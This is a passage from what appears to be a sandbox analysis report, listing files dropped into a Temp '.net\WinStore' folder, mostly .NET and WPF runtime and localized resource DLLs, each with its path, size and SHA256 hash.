                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\D3DCompiler_47_cor3.dll
                                • Size 4.5MB
                                • SHA256 a05f99734f7c4822fefc12b367af21fd0976ed6608752fb1e1e80b6ece7ecbbb
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                Microsoft.Data.Sqlite.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\Microsoft.Data.Sqlite.dll
                                • Size 169KB
                                • SHA256 29981956955da36990b3cfc93fe50597eeacae669663e230bef519d5693bb2fb
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                Microsoft.VisualBasic.Forms.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\Microsoft.VisualBasic.Forms.dll
                                • Size 241KB
                                • SHA256 2d967504ccfbd043552eeccd36a84f18aae3103c11324aef0d28cc7552f9a613
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                Microsoft.VisualBasic.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\Microsoft.VisualBasic.dll
                                • Size 18KB
                                • SHA256 006f053aee90bf52b5dffed06c7fad4f79b52fa3b1cdc593afa4310f1c8fe8b5
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                Microsoft.Win32.Registry.AccessControl.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\Microsoft.Win32.Registry.AccessControl.dll
                                • Size 33KB
                                • SHA256 db7e5c06ac9397aedc872aa485406bba78b92ef0708dfae0a3dbf3560f4da5f8
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                Microsoft.Win32.SystemEvents.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\Microsoft.Win32.SystemEvents.dll
                                • Size 93KB
                                • SHA256 b198c6233a20f5f4fa8f6ded9d368b48f2471990265ef5d458174b31aaf618a4
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                PenImc_cor3.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\PenImc_cor3.dll
                                • Size 154KB
                                • SHA256 de4b183b33866d0f62f3244189e8e7fed102790b2325ed2f2b34f33056bee7ab
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                PresentationNative_cor3.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\PresentationNative_cor3.dll
                                • Size 1.2MB
                                • SHA256 3fb36edaa2c4fe4ac8be075a3a4e903da159bbe38fb77e51c32b58e2adecb2d6
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                SQLitePCLRaw.batteries_v2.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\SQLitePCLRaw.batteries_v2.dll
                                • Size 5KB
                                • SHA256 e2709fda3ee4137dcea3398221f0afcd6241db0ea6fa55fd31a33610be78cf02
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                SQLitePCLRaw.core.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\SQLitePCLRaw.core.dll
                                • Size 49KB
                                • SHA256 c33995427edd44fa641cf702df8b63cc82cb7054dd984dc8277d15ee7c958874
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                SearchIndexer.runtimeconfig.json

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\SearchIndexer.runtimeconfig.json
                                • Size 450B
                                • SHA256 cc410db87fb89c30768469727dba90dee3764152ecaa8bb131f5cc1ccacda212
                                • MD5 SHA1 SHA512 TLSH

                                System.Windows.Forms.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\System.Windows.Forms.dll
                                • Size 12.9MB
                                • SHA256 7fa81901e23e79bd66601e82e84d5b48920f0cf4a480610b96e0f7fb05fb52b5
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Windows.Input.Manipulations.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\System.Windows.Input.Manipulations.dll
                                • Size 133KB
                                • SHA256 8b3b11c37130a8f1eb02f7a988592604f29e8101f2b906f821bb74f71650dd82
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Windows.Presentation.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\System.Windows.Presentation.dll
                                • Size 29KB
                                • SHA256 04f596b76fa98a3b2fab2b1a8b3ab1176fed8d75f4609ae6a006b80269797e92
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Xaml.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\System.Xaml.dll
                                • Size 1.4MB
                                • SHA256 ddb468276fd2bc25651864fbb2595a59c35dcb2952204c81be4995a09a027216
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                UIAutomationClient.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\UIAutomationClient.dll
                                • Size 405KB
                                • SHA256 3425edbf50a26dfb6d7e03591439a1aa5b44a988f3a7a2b049b0f110d003e846
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                WindowsBase.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\WindowsBase.dll
                                • Size 2.2MB
                                • SHA256 1fc324d4d92ceedf364ac0506c2506c41a87a6578826e714394596529bd23321
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                WindowsFormsIntegration.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\WindowsFormsIntegration.dll
                                • Size 205KB
                                • SHA256 b30ccb902a725b7bdbb685e7ac410e948a2b026111904e76271f11e10a312d45
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                Microsoft.VisualBasic.Forms.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\cs\Microsoft.VisualBasic.Forms.resources.dll
                                • Size 24KB
                                • SHA256 4fb2d9207f73af1829ca2e5b06d600163006174a2479c582118827189b4dd11d
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                PresentationCore.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\cs\PresentationCore.resources.dll
                                • Size 105KB
                                • SHA256 e0c2af1233da3126d09ef333d8f2aebd8b0e5436ce42ed6712f06b80bb1276b9
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                PresentationFramework.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\cs\PresentationFramework.resources.dll
                                • Size 192KB
                                • SHA256 c04e1ebb4f33d625310a00048ebdd123a904c8e5f1d483f65270eb39dfcf46a3
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                PresentationUI.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\cs\PresentationUI.resources.dll
                                • Size 44KB
                                • SHA256 3c39d985e2729de3411594a6436257b0a1bc399bcc851b35818121990f6cb2c4
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                ReachFramework.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\cs\ReachFramework.resources.dll
                                • Size 37KB
                                • SHA256 d6f1ecf5ee0656acfab0dbaca832ba530a3275f2c3d8801bf1be93bcc203f152
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Windows.Controls.Ribbon.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\cs\System.Windows.Controls.Ribbon.resources.dll
                                • Size 17KB
                                • SHA256 0a1be72e16360dac45264a29bf203dbabb3ae2d9669b0c9a6f9fa3c0e286beae
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Windows.Forms.Design.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\cs\System.Windows.Forms.Design.resources.dll
                                • Size 145KB
                                • SHA256 7af415dd3c120aefd48dcdf94a980d5673f1a440f8b8fdf1a86f86a756d7c710
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Windows.Forms.Primitives.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\cs\System.Windows.Forms.Primitives.resources.dll
                                • Size 15KB
                                • SHA256 4a4487e5bb7be0e1e77043ad894c63643088777136e231523c0daf7dd4f1f5ef
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Windows.Forms.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\cs\System.Windows.Forms.resources.dll
                                • Size 356KB
                                • SHA256 0f1b3a15f24dc5ffeb8a870350c598845d0bb865d2e4cdd7bed4ad1899e3ee67
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Windows.Input.Manipulations.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\cs\System.Windows.Input.Manipulations.resources.dll
                                • Size 15KB
                                • SHA256 9cba81e0464974192cb116c5e13d01ab4f28158d728d8cf63249ce99206cb301
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Xaml.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\cs\System.Xaml.resources.dll
                                • Size 63KB
                                • SHA256 8b0b6f3c37c3256372ee61fee0499245328dc6f8aad2c7118d045a338b0d018a
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                UIAutomationClient.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\cs\UIAutomationClient.resources.dll
                                • Size 19KB
                                • SHA256 c5a42f8cc640331aeab15c8ea1071d2db9a2b3c0c7bc92a92709120c890bf29d
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                UIAutomationClientSideProviders.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\cs\UIAutomationClientSideProviders.resources.dll
                                • Size 20KB
                                • SHA256 c38583effb234ea38f4ce9181d43becc7ab3bcc8639874c41f0522f1928f722d
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                UIAutomationProvider.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\cs\UIAutomationProvider.resources.dll
                                • Size 14KB
                                • SHA256 bf9e03227f6fd94e71c2c27c4bb6d12d3c714d82aab962afbf67f31c898d0b34
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                UIAutomationTypes.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\cs\UIAutomationTypes.resources.dll
                                • Size 17KB
                                • SHA256 3270c3c7e07d96e792fac3d26a9803cc05fc229fb0f2e19e23e295ad1a2b9d18
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                WindowsBase.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\cs\WindowsBase.resources.dll
                                • Size 84KB
                                • SHA256 546ace38cb24a0e83dde7e32f1d432abc4e66daae418c8d25daa25371c621507
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                WindowsFormsIntegration.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\cs\WindowsFormsIntegration.resources.dll
                                • Size 15KB
                                • SHA256 6c42558dd5d4cbb2e64ebb5954d71f047dc7df725ce247615da0d18986b15b9d
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                Microsoft.VisualBasic.Forms.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\de\Microsoft.VisualBasic.Forms.resources.dll
                                • Size 24KB
                                • SHA256 6d02f5d5028c8a7bde757b1b99eca7022d138da5163f8d28b6adcbc381f26029
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                PresentationCore.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\de\PresentationCore.resources.dll
                                • Size 111KB
                                • SHA256 ae5a3b582cbe4ffde642e749c21f3809223feddccfde2a875926a428b333c8d7
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                PresentationFramework.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\de\PresentationFramework.resources.dll
                                • Size 208KB
                                • SHA256 d3293cb78c42a284ea8a00897e1559e0d70cab7623978f41ccc8cc615f81ec34
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                PresentationUI.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\de\PresentationUI.resources.dll
                                • Size 45KB
                                • SHA256 2641c3968049fe5f6454a68827bc75c53ae1a98f8596f0414ea62036ab5554b0
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                ReachFramework.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\de\ReachFramework.resources.dll
                                • Size 38KB
                                • SHA256 64b67f71778c572539ada447d704a66a7f7e91d24566733ddf6271a0c3f0aeae
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Windows.Controls.Ribbon.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\de\System.Windows.Controls.Ribbon.resources.dll
                                • Size 17KB
                                • SHA256 1bd650690abfab4f2b8c6f4078f01dc77ad9a01150fb884d6df283a450ef6dd4
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Windows.Forms.Design.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\de\System.Windows.Forms.Design.resources.dll
                                • Size 145KB
                                • SHA256 2988e5b8b6f81ced3faea6bc91439a5e201d34279581feac8c5c1f644ae3009f
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Windows.Forms.Primitives.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\de\System.Windows.Forms.Primitives.resources.dll
                                • Size 15KB
                                • SHA256 c2ff31ef912e0b57e6080923a5dcfbf5f1d9652f8427a1c2b96de241293f52c3
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Windows.Forms.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\de\System.Windows.Forms.resources.dll
                                • Size 364KB
                                • SHA256 64bcf99505c5c6c4d80ef78e1c1b27a506170111af827b082bbddce98be92c28
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Windows.Input.Manipulations.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\de\System.Windows.Input.Manipulations.resources.dll
                                • Size 15KB
                                • SHA256 147809705aae2c5787245dbe4277e2ae89bc8e05859446b2b5b078cfd32daa29
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Xaml.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\de\System.Xaml.resources.dll
                                • Size 66KB
                                • SHA256 13fcb4e2cb927ead8696472dbdb852bd5fb8de1ad26ce1da609d1b12260fea04
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                UIAutomationClient.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\de\UIAutomationClient.resources.dll
                                • Size 19KB
                                • SHA256 ae2e9d1195277b9ddd450de5916b0e120806bd007446c00e4a8006192eb042ad
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                UIAutomationClientSideProviders.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\de\UIAutomationClientSideProviders.resources.dll
                                • Size 20KB
                                • SHA256 57cb14a1814254640eb3c40b184e0ebb92612ae20fa8c9341b648554d976ed1e
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                UIAutomationProvider.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\de\UIAutomationProvider.resources.dll
                                • Size 14KB
                                • SHA256 70815b7f791002228f6cf67e5412f55e92700dc7ff8b8795e497649d0a8fff14
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                UIAutomationTypes.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\de\UIAutomationTypes.resources.dll
                                • Size 17KB
                                • SHA256 6dec53e0e9dbfe0184989d957a9b4bf5244ee569a717653a3b4b39431ba3ed82
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                WindowsBase.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\de\WindowsBase.resources.dll
                                • Size 88KB
                                • SHA256 a4a88a28678a45f7ecf7bbceaca4bd40c3470e54e7e5e4cc18a9f1fde033f316
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                WindowsFormsIntegration.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\de\WindowsFormsIntegration.resources.dll
                                • Size 15KB
                                • SHA256 113c1bf080d20774b2d310aa9e907d2d170035029be16b1f56186809d7bc65d0
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                Microsoft.VisualBasic.Forms.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\es\Microsoft.VisualBasic.Forms.resources.dll
                                • Size 24KB
                                • SHA256 1e5fee48466059f36cf835c3b3af6dfede117676114d7bf8a8330e92844c3cd4
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                PresentationCore.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\es\PresentationCore.resources.dll
                                • Size 107KB
                                • SHA256 8b01d542b9ab8aeae84cf5165394b8223879c48aba9386b77656eb3af876b344
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                PresentationFramework.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\es\PresentationFramework.resources.dll
                                • Size 198KB
                                • SHA256 967f6ae7835df271229e3a42e06e9d2a042a99c29546294c7a7ba5166898319b
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                PresentationUI.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\es\PresentationUI.resources.dll
                                • Size 44KB
                                • SHA256 3d00bd76fb777d65069194ad0b010a0931c0755270ede67159678b724c336d23
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                ReachFramework.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\es\ReachFramework.resources.dll
                                • Size 38KB
                                • SHA256 b7ca98cce353bbcbb735590a3ad2ff08e920321ea077cc4c4105359359afda29
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Windows.Controls.Ribbon.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\es\System.Windows.Controls.Ribbon.resources.dll
                                • Size 17KB
                                • SHA256 c02cbb6fb8f33a26f6cf94421d208f2373606894e0d7fe836a630b822a37c20a
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Windows.Forms.Design.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\es\System.Windows.Forms.Design.resources.dll
                                • Size 145KB
                                • SHA256 0233c101561ba9cf4bac14e9e7c00c94491e4f6e9dc20eb1993d3bf939baef39
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Windows.Forms.Primitives.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\es\System.Windows.Forms.Primitives.resources.dll
                                • Size 15KB
                                • SHA256 b7316aadba971128c9a4a1961127fec24f99fbf47a209e463a7bb8252d246235
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Windows.Forms.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\es\System.Windows.Forms.resources.dll
                                • Size 357KB
                                • SHA256 2cffe817031a6dd1cc2dca21ad06a90f6213c19f13c99753fd928af6e2469080
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Windows.Input.Manipulations.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\es\System.Windows.Input.Manipulations.resources.dll
                                • Size 15KB
                                • SHA256 266245102d5432198db6a1f59ff9992e67a62507eaffef99e74bc0995018d573
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Xaml.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\es\System.Xaml.resources.dll
                                • Size 64KB
                                • SHA256 f49e3e1c40a3826fbd0e16ea18402216ca999b543446003e704d32c1fedebbb4
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                UIAutomationClient.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\es\UIAutomationClient.resources.dll
                                • Size 19KB
                                • SHA256 ecb3394f968963936e8eb2f069d30247933a0e30062fc5e46acf01e1ce86b776
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                UIAutomationClientSideProviders.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\es\UIAutomationClientSideProviders.resources.dll
                                • Size 20KB
                                • SHA256 10853b3d932f0cc26861c48ca1bcc33d282708c564d57051521b347fa4918b8c
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                UIAutomationProvider.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\es\UIAutomationProvider.resources.dll
                                • Size 14KB
                                • SHA256 8c4688fea54e477bf152ba8977b38bb78c31b951c1a2fda891fb7080cd35debd
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                UIAutomationTypes.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\es\UIAutomationTypes.resources.dll
                                • Size 17KB
                                • SHA256 45e80e6f42d4b11b04e5833b811c10bd87c412b60dd02a739f73c0f1e4768bfe
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                WindowsBase.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\es\WindowsBase.resources.dll
                                • Size 87KB
                                • SHA256 00451a09638200245361ddbbea8256b673890ebe9df9f90352d76948eacf8f4a
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                WindowsFormsIntegration.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\es\WindowsFormsIntegration.resources.dll
                                • Size 15KB
                                • SHA256 d16303c4fa80ea4ab60a6607c2d267cf68c8e8a908543b2597240c5941b93ae3
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                Microsoft.VisualBasic.Forms.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\fr\Microsoft.VisualBasic.Forms.resources.dll
                                • Size 24KB
                                • SHA256 b0c2de632f6ccc3e18ecd2caf4558bdd0a0908d4050c2bb1c37b104957cf26fa
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                PresentationCore.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\fr\PresentationCore.resources.dll
                                • Size 110KB
                                • SHA256 14a6716bf1bcf696630c47f35065e77004d9da6f9da42faed862c8e9b7c02249
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                PresentationFramework.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\fr\PresentationFramework.resources.dll
                                • Size 201KB
                                • SHA256 cdf31df150ab909cd3b2d15a89f96f2b93cb7aba4451acdbd0f07cf0d9bcd76b
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                PresentationUI.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\fr\PresentationUI.resources.dll
                                • Size 45KB
                                • SHA256 15da5f61b8b1fc170e7b88a46ad9162e7a6d3e53f6a3870843104ff0dedf2f44
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                ReachFramework.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\fr\ReachFramework.resources.dll
                                • Size 38KB
                                • SHA256 b38f6cd1ac923f4570778c228213dc9f1a7f94bcca0fde3ad892158b5a97bc2d
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Windows.Controls.Ribbon.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\fr\System.Windows.Controls.Ribbon.resources.dll
                                • Size 17KB
                                • SHA256 14631e424be1965e075f27ab13e8c0584dd26097212633d5f183c584ca985e1c
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Windows.Forms.Design.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\fr\System.Windows.Forms.Design.resources.dll
                                • Size 146KB
                                • SHA256 38352855bd387f0cebb6902bc8f93c594cbb2823334aae56040820b0cc2f87a2
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Windows.Forms.Primitives.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\fr\System.Windows.Forms.Primitives.resources.dll
                                • Size 15KB
                                • SHA256 6ebab77384d2693eb10a6eb7b65c0e7521ab510a783875fc505361cbef7e5ea1
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Windows.Forms.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\fr\System.Windows.Forms.resources.dll
                                • Size 363KB
                                • SHA256 828c4b1b08e4b96c7125ba6ef7b72e3e6809ce4ae6a429af627a1fb520b9d45d
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Windows.Input.Manipulations.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\fr\System.Windows.Input.Manipulations.resources.dll
                                • Size 15KB
                                • SHA256 d8916a3322a22189c90ab749a805f8226ac7f0ce4ed13842ffa68d0efaa6be6a
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Xaml.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\fr\System.Xaml.resources.dll
                                • Size 65KB
                                • SHA256 c8e6b4750f83833c2c540bf33daf0b5138bb855ef067ac99ac5256d34495ad0c
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                UIAutomationClient.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\fr\UIAutomationClient.resources.dll
                                • Size 19KB
                                • SHA256 a80804e17ab016bced3e6a721f7a31f13f2ee14eb954c3715cdb29e00ac10c01
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                UIAutomationClientSideProviders.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\fr\UIAutomationClientSideProviders.resources.dll
                                • Size 20KB
                                • SHA256 958ae1445bcce3b6f9beddfad1c438f3d54cca02993dfe88fc16bda886d22b48
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                UIAutomationProvider.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\fr\UIAutomationProvider.resources.dll
                                • Size 14KB
                                • SHA256 841340117e0df7b4e6291c95723868e7ad064681163f1a66f8168ee9ca24af47
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                UIAutomationTypes.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\fr\UIAutomationTypes.resources.dll
                                • Size 17KB
                                • SHA256 cd7dc2825646749e513fa7fd9f4e4861b2b52f1c15db6c2d8e20d53f64244709
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                WindowsBase.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\fr\WindowsBase.resources.dll
                                • Size 88KB
                                • SHA256 1e234848ae0c6058aef5d4d52490bb33ca8d1db974361c5e2c545c871858341d
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                WindowsFormsIntegration.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\fr\WindowsFormsIntegration.resources.dll
                                • Size 15KB
                                • SHA256 5b143b15e59141fa78a1cc37ddf4cb688799568ea8a02257123c581d2def7bfc
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                Microsoft.VisualBasic.Forms.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\it\Microsoft.VisualBasic.Forms.resources.dll
                                • Size 24KB
                                • SHA256 17cb614409cb74eb19150f0be27395dd732a759bc98737006dec2f789f8623c0
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                PresentationCore.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\it\PresentationCore.resources.dll
                                • Size 108KB
                                • SHA256 b2c4d44ac834a79ed5cbec4876e4b75704263a331314b44e81211744acc12607
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                PresentationFramework.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\it\PresentationFramework.resources.dll
                                • Size 200KB
                                • SHA256 9ccdf637500e479a9e78f85f9ebd0631a1e5887628719a19649c4fc706ac7d8a
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                PresentationUI.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\it\PresentationUI.resources.dll
                                • Size 44KB
                                • SHA256 127329f4251ccab572a700f082472688bf19a2abda36ea858ff7bd301c5d59be
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                ReachFramework.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\it\ReachFramework.resources.dll
                                • Size 38KB
                                • SHA256 986d8c51a082d506a90b85db8082ddbd4e3d4c32a9c387aa8da1dffbb7f23ee7
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Windows.Controls.Ribbon.resources.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WinStore\d50\it\System.Windows.Controls.Ribbon.resources.dll
                                • Size 17KB
                                • SHA256 53d44f3b230cc8a76b954a92e7ee6b44278c93d0d28dff3a084bda5a42522e53
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Windows.Forms.Design.resources.dll

